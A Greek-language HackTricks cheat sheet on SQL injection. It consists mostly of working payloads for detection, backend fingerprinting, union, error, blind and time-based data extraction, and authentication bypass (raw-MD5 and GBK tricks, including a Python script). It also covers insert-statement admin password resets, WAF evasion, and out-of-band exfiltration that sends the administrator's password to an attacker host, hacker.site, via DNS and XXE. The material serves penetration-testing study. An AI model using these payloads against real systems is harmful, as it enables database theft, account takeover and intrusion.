SQL Injection
Reading time: 21 minutes
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Τι είναι η SQL injection;
Μια SQL injection είναι μια αδυναμία ασφαλείας που επιτρέπει στους επιτιθέμενους να παρεμβαίνουν σε ερωτήματα βάσης δεδομένων μιας εφαρμογής. Αυτή η ευπάθεια μπορεί να επιτρέψει στους επιτιθέμενους να δουν, τροποποιήσουν ή διαγράψουν δεδομένα που δεν θα έπρεπε να έχουν πρόσβαση, συμπεριλαμβανομένων πληροφοριών άλλων χρηστών ή οποιαδήποτε δεδομένα μπορεί να έχει πρόσβαση η εφαρμογή. Τέτοιες ενέργειες μπορεί να έχουν ως αποτέλεσμα μόνιμες αλλαγές στη λειτουργικότητα ή το περιεχόμενο της εφαρμογής ή ακόμη και την παραβίαση του διακομιστή ή την άρνηση υπηρεσίας.
Ανίχνευση σημείου εισόδου
Όταν μια ιστοσελίδα φαίνεται να είναι ευάλωτη σε SQL injection (SQLi) λόγω ασυνήθιστων απαντήσεων του διακομιστή σε εισόδους σχετικές με SQLi, το πρώτο βήμα είναι να κατανοήσουμε πώς να εισάγουμε δεδομένα στην ερώτηση χωρίς να την διαταράξουμε. Αυτό απαιτεί την αναγνώριση της μεθόδου για να ξεφύγουμε από το τρέχον πλαίσιο αποτελεσματικά. Αυτά είναι μερικά χρήσιμα παραδείγματα:
[Nothing]
'
"
`
')
")
`)
'))
"))
`))
Πρέπει να ξέρετε πώς να διορθώσετε το ερώτημα ώστε να μην υπάρχουν σφάλματα. Για να διορθώσετε το ερώτημα μπορείτε να εισάγετε δεδομένα ώστε το προηγούμενο ερώτημα να αποδεχτεί τα νέα δεδομένα, ή μπορείτε απλά να εισάγετε τα δεδομένα σας και να προσθέσετε ένα σύμβολο σχολίου στο τέλος.
Σημειώστε ότι αν μπορείτε να δείτε μηνύματα σφάλματος ή μπορείτε να εντοπίσετε διαφορές όταν ένα ερώτημα λειτουργεί και όταν δεν λειτουργεί, αυτή η φάση θα είναι πιο εύκολη.
Σχόλια
MySQL
#comment
-- comment [Note the space after the double dash]
/*comment*/
/*! MYSQL Special SQL */
PostgreSQL
--comment
/*comment*/
MSQL
--comment
/*comment*/
Oracle
--comment
SQLite
--comment
/*comment*/
HQL
HQL does not support comments
Επιβεβαίωση με λογικές λειτουργίες
Μια αξιόπιστη μέθοδος για την επιβεβαίωση μιας ευπάθειας SQL injection περιλαμβάνει την εκτέλεση μιας λογικής λειτουργίας και την παρατήρηση των αναμενόμενων αποτελεσμάτων. Για παράδειγμα, μια παράμετρος GET όπως ?username=Peter
που αποδίδει ταυτόσημο περιεχόμενο όταν τροποποιηθεί σε ?username=Peter' or '1'='1
υποδεικνύει μια ευπάθεια SQL injection.
Ομοίως, η εφαρμογή μαθηματικών λειτουργιών χρησιμεύει ως μια αποτελεσματική τεχνική επιβεβαίωσης. Για παράδειγμα, αν η πρόσβαση σε ?id=1
και ?id=2-1
παράγει το ίδιο αποτέλεσμα, αυτό είναι ενδεικτικό SQL injection.
Παραδείγματα που δείχνουν την επιβεβαίωση λογικών λειτουργιών:
page.asp?id=1 or 1=1 -- results in true
page.asp?id=1' or 1=1 -- results in true
page.asp?id=1" or 1=1 -- results in true
page.asp?id=1 and 1=2 -- results in false
Αυτή η λίστα λέξεων δημιουργήθηκε για να προσπαθήσει να επιβεβαιώσει SQLinjections με τον προτεινόμενο τρόπο:
Επιβεβαίωση με Χρόνο
Σε ορισμένες περιπτώσεις δεν θα παρατηρήσετε καμία αλλαγή στη σελίδα που δοκιμάζετε. Επομένως, ένας καλός τρόπος για να ανακαλύψετε κρυφές SQL injections είναι να κάνετε τη βάση δεδομένων να εκτελεί ενέργειες που θα έχουν επίδραση στον χρόνο που χρειάζεται η σελίδα για να φορτώσει.
Επομένως, θα συνδυάσουμε στην SQL ερώτηση μια ενέργεια που θα χρειαστεί πολύ χρόνο για να ολοκληρωθεί:
MySQL (string concat and logical ops)
1' + sleep(10)
1' and sleep(10)
1' && sleep(10)
1' | sleep(10)
PostgreSQL (only support string concat)
1' || pg_sleep(10)
MSQL
1' WAITFOR DELAY '0:0:10'
Oracle
1' AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10)
SQLite
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
Σε ορισμένες περιπτώσεις οι λειτουργίες ύπνου δεν θα επιτρέπονται. Τότε, αντί να χρησιμοποιήσετε αυτές τις λειτουργίες, μπορείτε να κάνετε το ερώτημα να εκτελεί πολύπλοκες λειτουργίες που θα διαρκέσουν αρκετά δευτερόλεπτα. Παραδείγματα αυτών των τεχνικών θα σχολιαστούν ξεχωριστά για κάθε τεχνολογία (αν υπάρχουν).
Αναγνώριση Back-end
Ο καλύτερος τρόπος για να αναγνωρίσετε το back-end είναι να προσπαθήσετε να εκτελέσετε λειτουργίες των διαφόρων back-end. Μπορείτε να χρησιμοποιήσετε τις λειτουργίες ύπνου της προηγούμενης ενότητας ή αυτές (πίνακας από payloadsallthethings:
["conv('a',16,2)=conv('a',16,2)" ,"MYSQL"],
["connection_id()=connection_id()" ,"MYSQL"],
["crc32('MySQL')=crc32('MySQL')" ,"MYSQL"],
["BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)" ,"MSSQL"],
["@@CONNECTIONS>0" ,"MSSQL"],
["@@CONNECTIONS=@@CONNECTIONS" ,"MSSQL"],
["@@CPU_BUSY=@@CPU_BUSY" ,"MSSQL"],
["USER_ID(1)=USER_ID(1)" ,"MSSQL"],
["ROWNUM=ROWNUM" ,"ORACLE"],
["RAWTOHEX('AB')=RAWTOHEX('AB')" ,"ORACLE"],
["LNNVL(0=123)" ,"ORACLE"],
["5::int=5" ,"POSTGRESQL"],
["5::integer=5" ,"POSTGRESQL"],
["pg_client_encoding()=pg_client_encoding()" ,"POSTGRESQL"],
["get_current_ts_config()=get_current_ts_config()" ,"POSTGRESQL"],
["quote_literal(42.5)=quote_literal(42.5)" ,"POSTGRESQL"],
["current_database()=current_database()" ,"POSTGRESQL"],
["sqlite_version()=sqlite_version()" ,"SQLITE"],
["last_insert_rowid()>1" ,"SQLITE"],
["last_insert_rowid()=last_insert_rowid()" ,"SQLITE"],
["val(cvar(1))=1" ,"MSACCESS"],
["IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0" ,"MSACCESS"],
["cdbl(1)=cdbl(1)" ,"MSACCESS"],
["1337=1337", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
["'i'='i'", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
Επίσης, αν έχετε πρόσβαση στην έξοδο του ερωτήματος, θα μπορούσατε να κάνετε εκτύπωση της έκδοσης της βάσης δεδομένων.
note
Σε μια συνέχεια, θα συζητήσουμε διάφορες μεθόδους για να εκμεταλλευτούμε διάφορους τύπους SQL Injection. Θα χρησιμοποιήσουμε το MySQL ως παράδειγμα.
Αναγνώριση με PortSwigger
SQL injection cheat sheet | Web Security Academy
Εκμετάλλευση Βασισμένη σε Union
Ανίχνευση αριθμού στηλών
Αν μπορείτε να δείτε την έξοδο του ερωτήματος, αυτή είναι η καλύτερη μέθοδος για να το εκμεταλλευτείτε.
Πρώτα απ' όλα, πρέπει να ανακαλύψουμε τον αριθμό των στηλών που επιστρέφει το αρχικό αίτημα. Αυτό συμβαίνει επειδή και τα δύο ερωτήματα πρέπει να επιστρέφουν τον ίδιο αριθμό στηλών.
Δύο μέθοδοι χρησιμοποιούνται συνήθως για αυτόν τον σκοπό:
Order/Group by
Για να προσδιορίσετε τον αριθμό των στηλών σε ένα ερώτημα, προσαρμόστε σταδιακά τον αριθμό που χρησιμοποιείται στις ρήτρες ORDER BY ή GROUP BY μέχρι να ληφθεί μια ψευδής απάντηση. Παρά τις διακριτές λειτουργίες των GROUP BY και ORDER BY μέσα στο SQL, και οι δύο μπορούν να χρησιμοποιηθούν ομοίως για να προσδιορίσουν τον αριθμό των στηλών του ερωτήματος.
1' ORDER BY 1--+ #True
1' ORDER BY 2--+ #True
1' ORDER BY 3--+ #True
1' ORDER BY 4--+ #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+ True
1' GROUP BY 1--+ #True
1' GROUP BY 2--+ #True
1' GROUP BY 3--+ #True
1' GROUP BY 4--+ #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+ True
UNION SELECT
Επιλέξτε όλο και περισσότερες τιμές null μέχρι να είναι σωστό το ερώτημα:
1' UNION SELECT null-- - Not working
1' UNION SELECT null,null-- - Not working
1' UNION SELECT null,null,null-- - Worked
Πρέπει να χρησιμοποιείτε τιμές null
καθώς σε ορισμένες περιπτώσεις ο τύπος των στηλών και στις δύο πλευρές του ερωτήματος πρέπει να είναι ο ίδιος και το null είναι έγκυρο σε κάθε περίπτωση.
Εξαγωγή ονομάτων βάσεων δεδομένων, ονομάτων πινάκων και ονομάτων στηλών
Στα επόμενα παραδείγματα θα ανακτήσουμε το όνομα όλων των βάσεων δεδομένων, το όνομα του πίνακα μιας βάσης δεδομένων, τα ονόματα των στηλών του πίνακα:
#Database names
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata
#Tables of a database
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM information_schema.tables wHeRe table_schema=[database]
#Column names
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]
Υπάρχει ένας διαφορετικός τρόπος για να ανακαλύψετε αυτά τα δεδομένα σε κάθε διαφορετική βάση δεδομένων, αλλά η μεθοδολογία είναι πάντα η ίδια.
Exploiting Hidden Union Based
Όταν η έξοδος ενός ερωτήματος είναι ορατή, αλλά μια ένεση βασισμένη σε ένωση φαίνεται ανέφικτη, αυτό σημαίνει την παρουσία μιας κρυφής ένεσης βασισμένης σε ένωση. Αυτό το σενάριο συχνά οδηγεί σε μια κατάσταση τυφλής ένεσης. Για να μετατρέψετε μια τυφλή ένεση σε μια βασισμένη σε ένωση, πρέπει να διακριθεί το ερώτημα εκτέλεσης στο backend.
Αυτό μπορεί να επιτευχθεί μέσω της χρήσης τεχνικών τυφλής ένεσης μαζί με τους προεπιλεγμένους πίνακες που είναι συγκεκριμένοι για το Σύστημα Διαχείρισης Βάσεων Δεδομένων (DBMS) στόχου σας. Για να κατανοήσετε αυτούς τους προεπιλεγμένους πίνακες, συνιστάται να συμβουλευτείτε την τεκμηρίωση του DBMS στόχου.
Αφού έχει εξαχθεί το ερώτημα, είναι απαραίτητο να προσαρμόσετε το payload σας ώστε να κλείσει με ασφάλεια το αρχικό ερώτημα. Στη συνέχεια, προστίθεται ένα ερώτημα ένωσης στο payload σας, διευκολύνοντας την εκμετάλλευση της νέας προσβάσιμης ένεσης βασισμένης σε ένωση.
Για πιο ολοκληρωμένες πληροφορίες, ανατρέξτε στο πλήρες άρθρο που είναι διαθέσιμο στο Healing Blind Injections.
Exploiting Error based
Εάν για κάποιο λόγο δεν μπορείτε να δείτε την έξοδο του ερωτήματος αλλά μπορείτε να δείτε τα μηνύματα σφάλματος, μπορείτε να κάνετε αυτά τα μηνύματα σφάλματος να εξάγουν δεδομένα από τη βάση δεδομένων.
Ακολουθώντας μια παρόμοια ροή όπως στην εκμετάλλευση βασισμένη σε ένωση, θα μπορούσατε να καταφέρετε να εξάγετε τη βάση δεδομένων.
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
Εκμετάλλευση Blind SQLi
Σε αυτή την περίπτωση δεν μπορείτε να δείτε τα αποτελέσματα του ερωτήματος ή τα σφάλματα, αλλά μπορείτε να διακρίνετε πότε το ερώτημα επιστρέφει μια αληθή ή μια ψευδή απάντηση επειδή υπάρχουν διαφορετικά περιεχόμενα στη σελίδα.
Σε αυτή την περίπτωση, μπορείτε να εκμεταλλευτείτε αυτή τη συμπεριφορά για να εξάγετε τη βάση δεδομένων χαρακτήρα προς χαρακτήρα:
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'
Exploiting Error Blind SQLi
Αυτή είναι η ίδια περίπτωση όπως πριν αλλά αντί να διακρίνετε μεταξύ μιας αληθινής/ψευδούς απάντησης από το ερώτημα μπορείτε να διακρίνετε μεταξύ ενός σφάλματος στο SQL ερώτημα ή όχι (ίσως επειδή ο HTTP server καταρρέει). Επομένως, σε αυτή την περίπτωση μπορείτε να προκαλέσετε ένα SQLerror κάθε φορά που μαντεύετε σωστά τον χαρακτήρα:
AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
Εκμετάλλευση Χρονικά Βασισμένου SQLi
Σε αυτή την περίπτωση δεν υπάρχει κανένας τρόπος να διακρίνουμε την απάντηση του ερωτήματος με βάση το περιεχόμενο της σελίδας. Αλλά, μπορείτε να κάνετε τη σελίδα να χρειάζεται περισσότερο χρόνο για να φορτώσει αν ο μαντεμένος χαρακτήρας είναι σωστός. Έχουμε ήδη δει αυτή την τεχνική σε χρήση πριν για να επιβεβαιώσουμε μια ευπάθεια SQLi.
1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#
Στοιβαγμένες Ερωτήσεις
Μπορείτε να χρησιμοποιήσετε στοιβαγμένες ερωτήσεις για να εκτελέσετε πολλές ερωτήσεις διαδοχικά. Σημειώστε ότι ενώ οι επόμενες ερωτήσεις εκτελούνται, τα αποτελέσματα δεν επιστρέφονται στην εφαρμογή. Επομένως, αυτή η τεχνική είναι κυρίως χρήσιμη σε σχέση με τυφλές ευπάθειες όπου μπορείτε να χρησιμοποιήσετε μια δεύτερη ερώτηση για να ενεργοποιήσετε μια αναζήτηση DNS, μια συνθήκη σφάλματος ή μια καθυστέρηση χρόνου.
Oracle δεν υποστηρίζει στοιβαγμένες ερωτήσεις. MySQL, Microsoft και PostgreSQL τις υποστηρίζουν: QUERY-1-HERE; QUERY-2-HERE
Εκμετάλλευση εκτός ζώνης
Αν κανένας άλλος μέθοδος εκμετάλλευσης δεν λειτούργησε, μπορείτε να προσπαθήσετε να κάνετε τη βάση δεδομένων να εξάγει τις πληροφορίες σε έναν εξωτερικό διακομιστή που ελέγχετε. Για παράδειγμα, μέσω ερωτήσεων DNS:
select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));
Εξαγωγή δεδομένων εκτός δικτύου μέσω XXE
a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -
Αυτοματοποιημένη Εκμετάλλευση
Δείτε το SQLMap Cheatsheet για να εκμεταλλευτείτε μια ευπάθεια SQLi με sqlmap.
Τεχνικές συγκεκριμένες πληροφορίες
Έχουμε ήδη συζητήσει όλους τους τρόπους εκμετάλλευσης μιας ευπάθειας SQL Injection. Βρείτε μερικά ακόμα κόλπα που εξαρτώνται από την τεχνολογία βάσης δεδομένων σε αυτό το βιβλίο:
Ή θα βρείτε πολλά κόλπα σχετικά με: MySQL, PostgreSQL, Oracle, MSSQL, SQLite και HQL σε https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection
Παράκαμψη Αυθεντικοποίησης
Λίστα για να προσπαθήσετε να παρακάμψετε τη λειτουργία σύνδεσης:
Παράκαμψη Αυθεντικοποίησης με Ακατέργαστο Hash
"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"
Αυτή η ερώτηση επιδεικνύει μια ευπάθεια όταν το MD5 χρησιμοποιείται με true για την ακατέργαστη έξοδο σε ελέγχους ταυτοποίησης, καθιστώντας το σύστημα ευάλωτο σε SQL injection. Οι επιτιθέμενοι μπορούν να εκμεταλλευτούν αυτό δημιουργώντας εισόδους που, όταν κατακερματίζονται, παράγουν αναπάντεχα μέρη SQL εντολών, οδηγώντας σε μη εξουσιοδοτημένη πρόσβαση.
md5("ffifdyop", true) = 'or'6�]��!r,��b�
sha1("3fDf ", true) = Q�u'='�@�[�t�- o��_-!
Παράκαμψη αυθεντικοποίησης με εισαγόμενο hash
admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'
Συνιστώμενη λίστα:
Πρέπει να χρησιμοποιείτε ως όνομα χρήστη κάθε γραμμή της λίστας και ως κωδικό πάντα: Pass1234.
(Αυτά τα payloads περιλαμβάνονται επίσης στη μεγάλη λίστα που αναφέρθηκε στην αρχή αυτής της ενότητας)
GBK Authentication Bypass
ΑΝ το ' διαφεύγει μπορείτε να χρησιμοποιήσετε %A8%27, και όταν το ' διαφύγει θα δημιουργηθεί: 0xA80x5c0x27 (╘')
%A8%27 OR 1=1;-- 2
%8C%A8%27 OR 1=1-- 2
%bf' or 1=1 -- --
Python σενάριο:
import requests
url = "http://example.com/index.php"
cookies = dict(PHPSESSID='4j37giooed20ibi12f3dqjfbkp3')
datas = {"login": chr(0xbf) + chr(0x27) + "OR 1=1 #", "password":"test"}
r = requests.post(url, data = datas, cookies=cookies, headers={'referrer':url})
print r.text
Πολυγλωσσική ένεση (πολυπλαίσιο)
SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
Insert Statement
Modify password of existing object/user
Για να το κάνετε αυτό, θα πρέπει να προσπαθήσετε να δημιουργήσετε ένα νέο αντικείμενο με το όνομα "master object" (πιθανώς admin στην περίπτωση χρηστών) τροποποιώντας κάτι:
- Δημιουργήστε χρήστη με το όνομα: AdMIn (κεφαλαία & πεζά γράμματα)
- Δημιουργήστε έναν χρήστη με το όνομα: admin=
- SQL Truncation Attack (όταν υπάρχει κάποιο είδος περιορισμού μήκους στο όνομα χρήστη ή στο email) --> Δημιουργήστε χρήστη με το όνομα: admin [πολλές κενές θέσεις] a
SQL Truncation Attack
Εάν η βάση δεδομένων είναι ευάλωτη και ο μέγιστος αριθμός χαρακτήρων για το όνομα χρήστη είναι για παράδειγμα 30 και θέλετε να προσποιηθείτε τον χρήστη admin, προσπαθήστε να δημιουργήσετε ένα όνομα χρήστη που ονομάζεται: "admin [30 κενές θέσεις] a" και οποιοδήποτε κωδικό πρόσβασης.
Η βάση δεδομένων θα ελέγξει αν το εισαγόμενο όνομα χρήστη υπάρχει μέσα στη βάση δεδομένων. Εάν όχι, θα κόψει το όνομα χρήστη στο μέγιστο επιτρεπόμενο αριθμό χαρακτήρων (σε αυτή την περίπτωση σε: "admin [25 κενές θέσεις]") και στη συνέχεια θα αφαιρέσει αυτόματα όλες τις κενές θέσεις στο τέλος ενημερώνοντας μέσα στη βάση δεδομένων τον χρήστη "admin" με τον νέο κωδικό πρόσβασης (μπορεί να εμφανιστεί κάποιο σφάλμα αλλά αυτό δεν σημαίνει ότι δεν έχει λειτουργήσει).
Περισσότερες πληροφορίες: https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html & https://resources.infosecinstitute.com/sql-truncation-attack/#gref
Σημείωση: Αυτή η επίθεση δεν θα λειτουργεί πλέον όπως περιγράφεται παραπάνω στις τελευταίες εγκαταστάσεις MySQL. Ενώ οι συγκρίσεις εξακολουθούν να αγνοούν τα κενά στο τέλος από προεπιλογή, η προσπάθεια εισαγωγής μιας συμβολοσειράς που είναι μεγαλύτερη από το μήκος ενός πεδίου θα έχει ως αποτέλεσμα ένα σφάλμα, και η εισαγωγή θα αποτύχει. Για περισσότερες πληροφορίες σχετικά με αυτόν τον έλεγχο: https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation
MySQL Insert time based checking
Προσθέστε όσο το δυνατόν περισσότερα ','',''
θεωρείτε ότι χρειάζεται για να βγείτε από τη δήλωση VALUES. Εάν εκτελείται καθυστέρηση, έχετε μια SQLInjection.
name=','');WAITFOR%20DELAY%20'0:0:5'--%20-
ON DUPLICATE KEY UPDATE
Η ρήτρα ON DUPLICATE KEY UPDATE
στο MySQL χρησιμοποιείται για να καθορίσει ενέργειες που πρέπει να αναλάβει η βάση δεδομένων όταν γίνεται προσπάθεια εισαγωγής μιας γραμμής που θα είχε ως αποτέλεσμα μια διπλή τιμή σε έναν UNIQUE δείκτη ή PRIMARY KEY. Το παρακάτω παράδειγμα δείχνει πώς μπορεί να εκμεταλλευτεί αυτή η δυνατότητα για να τροποποιηθεί ο κωδικός πρόσβασης ενός λογαριασμού διαχειριστή:
Example Payload Injection:
Ένα payload εισαγωγής μπορεί να κατασκευαστεί ως εξής, όπου δύο γραμμές προσπαθούν να εισαχθούν στον πίνακα users
. Η πρώτη γραμμή είναι μια παγίδα, και η δεύτερη γραμμή στοχεύει το υπάρχον email ενός διαχειριστή με σκοπό την ενημέρωση του κωδικού πρόσβασης:
INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";
Ορίστε πώς λειτουργεί:
- Το ερώτημα προσπαθεί να εισάγει δύο γραμμές: μία για
generic_user@example.com
και μία άλλη γιαadmin_generic@example.com
. - Εάν η γραμμή για
admin_generic@example.com
υπάρχει ήδη, η ρήτραON DUPLICATE KEY UPDATE
ενεργοποιείται, δίνοντας εντολή στο MySQL να ενημερώσει το πεδίοpassword
της υπάρχουσας γραμμής σε "bcrypt_hash_of_newpassword". - Κατά συνέπεια, μπορεί στη συνέχεια να γίνει προσπάθεια αυθεντικοποίησης χρησιμοποιώντας
admin_generic@example.com
με τον κωδικό πρόσβασης που αντιστοιχεί στο bcrypt hash ("bcrypt_hash_of_newpassword" αντιπροσωπεύει το bcrypt hash του νέου κωδικού πρόσβασης, το οποίο θα πρέπει να αντικατασταθεί με το πραγματικό hash του επιθυμητού κωδικού πρόσβασης).
Εξαγωγή πληροφοριών
Δημιουργία 2 λογαριασμών ταυτόχρονα
Όταν προσπαθείτε να δημιουργήσετε έναν νέο χρήστη, απαιτούνται όνομα χρήστη, κωδικός πρόσβασης και email:
SQLi payload:
username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- -
A new user with username=otherUsername, password=otherPassword, email:FLAG will be created
Χρησιμοποιώντας δεκαδικό ή δεκαεξαδικό
Με αυτή την τεχνική μπορείτε να εξάγετε πληροφορίες δημιουργώντας μόνο 1 λογαριασμό. Είναι σημαντικό να σημειωθεί ότι δεν χρειάζεται να σχολιάσετε τίποτα.
Χρησιμοποιώντας hex2dec και substr:
'+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
Για να αποκτήσετε το κείμενο μπορείτε να χρησιμοποιήσετε:
__import__('binascii').unhexlify(hex(215573607263)[2:])
Χρησιμοποιώντας hex και replace (και substr):
'+(select hex(replace(replace(replace(replace(replace(replace(table_name,"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
'+(select hex(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
#Full ascii uppercase and lowercase replace:
'+(select hex(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%"),"z","&"),"J","'"),"K","`"),"L","("),"M",")"),"N","@"),"O","$$"),"Z","&&")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
Routed SQL injection
Routed SQL injection είναι μια κατάσταση όπου το ερωτηματικό που μπορεί να εισαχθεί δεν είναι αυτό που δίνει έξοδο, αλλά η έξοδος του ερωτήματος που μπορεί να εισαχθεί πηγαίνει στο ερώτημα που δίνει έξοδο. (From Paper)
Example:
#Hex of: -1' union select login,password from users-- a
-1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a
WAF Bypass
No spaces bypass
No Space (%20) - παρακάμψη χρησιμοποιώντας εναλλακτικές λευκού χώρου
?id=1%09and%091=1%09--
?id=1%0Dand%0D1=1%0D--
?id=1%0Cand%0C1=1%0C--
?id=1%0Band%0B1=1%0B--
?id=1%0Aand%0A1=1%0A--
?id=1%A0and%A01=1%A0--
Χωρίς Κενά - παράκαμψη χρησιμοποιώντας σχόλια
?id=1/*comment*/and/**/1=1/**/--
Χωρίς Κενά - παράκαμψη χρησιμοποιώντας παρενθέσεις
?id=(1)and(1)=(1)--
No commas bypass
No Comma - παράκαμψη χρησιμοποιώντας OFFSET, FROM και JOIN
LIMIT 0,1 -> LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
SELECT 1,2,3,4 -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d
Generic Bypasses
Μαύρη λίστα χρησιμοποιώντας λέξεις-κλειδιά - παράκαμψη χρησιμοποιώντας κεφαλαία/μικρά γράμματα
?id=1 AND 1=1#
?id=1 AnD 1=1#
?id=1 aNd 1=1#
Λίστα αποκλεισμού χρησιμοποιώντας λέξεις-κλειδιά χωρίς διάκριση πεζών-κεφαλαίων - παράκαμψη χρησιμοποιώντας έναν ισοδύναμο τελεστή
AND -> && -> %26%26
OR -> || -> %7C%7C
= -> LIKE,REGEXP,RLIKE, not < and not >
> X -> not between 0 and X
WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null))
Scientific Notation WAF bypass
Μπορείτε να βρείτε μια πιο λεπτομερή εξήγηση αυτού του κόλπου στο gosecure blog.
Βασικά, μπορείτε να χρησιμοποιήσετε την επιστημονική σημειογραφία με απροσδόκητους τρόπους για να παρακάμψετε το WAF:
-1' or 1.e(1) or '1'='1
-1' or 1337.1337e1 or '1'='1
' or 1.e('')=
Παράκαμψη Περιορισμού Ονομάτων Στηλών
Πρώτα απ' όλα, παρατηρήστε ότι αν το αρχικό ερώτημα και ο πίνακας από τον οποίο θέλετε να εξαγάγετε τη σημαία έχουν τον ίδιο αριθμό στηλών μπορείτε απλά να κάνετε: 0 UNION SELECT * FROM flag
Είναι δυνατόν να έχετε πρόσβαση στην τρίτη στήλη ενός πίνακα χωρίς να χρησιμοποιήσετε το όνομά της χρησιμοποιώντας ένα ερώτημα όπως το εξής: SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;
, οπότε σε μια sqlinjection αυτό θα φαίνεται έτσι:
# This is an example with 3 columns that will extract the column number 3
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;
Ή χρησιμοποιώντας ένα comma bypass:
# In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select"
-1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c
Αυτό το κόλπο ελήφθη από https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/
Εργαλεία προτάσεων παράκαμψης WAF
GitHub - m4ll0k/Atlas: Quick SQLMap Tamper Suggester
Άλλοι Οδηγοί
- https://sqlwiki.netspi.com/
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection
Λίστα Ανίχνευσης Brute-Force
Auto_Wordlists/wordlists/sqli.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.